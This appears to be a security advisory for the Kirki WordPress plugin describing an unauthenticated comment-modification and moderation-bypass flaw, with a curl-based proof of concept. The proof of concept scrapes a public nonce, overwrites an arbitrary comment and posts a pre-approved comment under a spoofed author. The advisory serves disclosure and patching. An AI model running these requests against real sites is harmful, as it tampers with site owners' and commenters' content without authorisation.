Kirki < 6.0.12 – Unauthenticated Arbitrary Comment Modification and Moderation Bypass via Component Library | CVE 2026-12723

Description

The plugin does not perform any authorisation check on one of its REST routes, allowing unauthenticated users to overwrite the content of arbitrary existing comments and to create pre-approved comments under a spoofed identity, bypassing comment moderation.

Proof of Concept

# Confirmed end-to-end, fully unauthenticated (no cookies), on WordPress 6.8.1 + Kirki 6.0.10. The nonce is SCRAPED from the public page, not minted.
# Setup (admin, intended feature): publish a Kirki Component Library page containing a comment element.

# Route is live + unauthenticated:

curl -s -X POST "https://TARGET/?rest_route=/KirkiComponentLibrary/v1/kirki-comment"

# -> {"success":false,"data":"Missing nonce"}

# STEP 1 - anonymous attacker scrapes the nonce from the public page (no cookies):

curl -s "https://TARGET/?p=<CL_comment_page_id>" | grep -o '"nonce":"[a-f0-9]*"'

# Response HTML contains: <script ...>var KirkiComponentLibrary = {form:{"cmt1":{...,"nonce":"8b21f2539a"}}, ...}</script>

# STEP 2 - overwrite an arbitrary existing comment (victim comment ID 6), no cookies:

curl -s -X POST "https://TARGET/?rest_route=/KirkiComponentLibrary/v1/kirki-comment" \
  -H "X-WP-Element-Nonce: 8b21f2539a" \
  --data "comment_id=6&comment=PWNED-VIA-SCRAPED-NONCE&collection_type="

# Result: comment 6 content changed from "Genuine comment text" to "PWNED-VIA-SCRAPED-NONCE".

# (Response is {"message":"Invalid form data"} due to an undefined-$comment_id bug, but the $wpdb->update side-effect executes.)

# STEP 3 - moderation-bypass insert with spoofed author, no cookies:

curl -s -X POST "https://TARGET/?rest_route=/KirkiComponentLibrary/v1/kirki-comment" \
  -H "X-WP-Element-Nonce: 8b21f2539a" \
  --data "post_id=<id>&comment=unmoderated-spam-confirm&name=Imposter&email=imposter@evil.com&collection_type="

# Result: {"message":"Comment Added"}; total comments 4 -> 5; newest comment author "Imposter", comment_approved=1.